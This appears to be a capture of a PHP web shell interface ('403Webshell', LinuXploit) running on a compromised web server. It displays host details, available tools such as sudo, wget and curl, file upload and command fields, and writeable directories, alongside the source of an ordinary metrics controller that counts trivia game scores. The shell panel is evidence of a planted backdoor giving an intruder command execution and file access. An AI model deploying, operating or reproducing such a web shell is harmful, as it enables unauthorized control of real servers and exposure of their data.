403Webshell
Server IP : 3.96.16.70  /  Your IP : 216.73.216.15
Web Server : Apache
System : Linux ip-172-31-26-103.ca-central-1.compute.internal 6.1.163-186.299.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Feb 24 16:35:42 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/metrics.elancointeractives.com/elanco-metrics/app/controller/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/metrics.elancointeractives.com/elanco-metrics/app/controller/c-gp-trivia.php
<?php

require($cfg[ 'server_path' ] . '/check_login.php');

// Required CSS and JS
$required_css		= array('picker-default', 'picker-default.date', 'gp-trivia');
$required_js		= array('picker' => 1, 'picker.date' => 1, 'date_range' => 1, 'gp-trivia' => 1);

// Chnage default meta details
$pagedata['title']				= "Elanco - Admin";
$pagedata['description']		= "Elanco - Admin";
$pagedata['og:title']			= "Elanco - Admin";
$pagedata['og:description']		= "Elanco - Admin";


$date_regex = "/^((((19|[2-9]\d)\d{2})\-(0[13578]|1[02])\-(0[1-9]|[12]\d|3[01]))|(((19|[2-9]\d)\d{2})\-(0[13456789]|1[012])\-(0[1-9]|[12]\d|30))|(((19|[2-9]\d)\d{2})\-02\-(0[1-9]|1\d|2[0-8]))|(((1[6-9]|[2-9]\d)(0[48]|[2468][048]|[13579][26])|((16|[2468][048]|[3579][26])00))\-02\-29))$/";


if ( isset($_GET['from']) && preg_match($date_regex, $_GET['from']) ) {
	$fromDate = $_GET['from'];
} else {
	$fromDate = "";
}

if ( isset($_GET['to']) && preg_match($date_regex, $_GET['to']) ) {
	$toDate = $_GET['to'];
} else {
	$toDate = "";
}


$select_range = "";

if ($fromDate != "") {
	$select_range .= " AND DATE(FROM_UNIXTIME(datetime)) >= '" . $fromDate . "'";
}

if ($toDate != "") {
	$select_range .= " AND DATE(FROM_UNIXTIME(datetime)) <= '" . $toDate . "'";
}


$sql = "SELECT count(*) FROM gp_trivia_gameplays WHERE datetime != 0" . $select_range;
$query = $db->prepare($sql);
$query->execute();
$gp_trivia_totalGamesPlayed = $query->fetchColumn();

$sql = "SELECT AVG(score) FROM gp_trivia_gameplays WHERE datetime != 0" . $select_range;
$query = $db->prepare($sql);
$query->execute();
$gp_trivia_averageScore = $query->fetchColumn();

// Score breakdowns
$sql = "SELECT count(*) FROM gp_trivia_gameplays WHERE datetime != 0 AND score <= 4" . $select_range;
$query = $db->prepare($sql);
$query->execute();
$gp_trivia_score_4 = $query->fetchColumn();

$sql = "SELECT count(*) FROM gp_trivia_gameplays WHERE datetime != 0 AND (score = 5 OR score = 6)" . $select_range;
$query = $db->prepare($sql);
$query->execute();
$gp_trivia_score_56 = $query->fetchColumn();

$sql = "SELECT count(*) FROM gp_trivia_gameplays WHERE datetime != 0 AND (score = 7 OR score = 8)" . $select_range;
$query = $db->prepare($sql);
$query->execute();
$gp_trivia_score_78 = $query->fetchColumn();



// Load the view
require ($cfg['server_path'].'/view/v-gp-trivia.php');

?>

Youez - 2016 - github.com/yon3zu
LinuXploit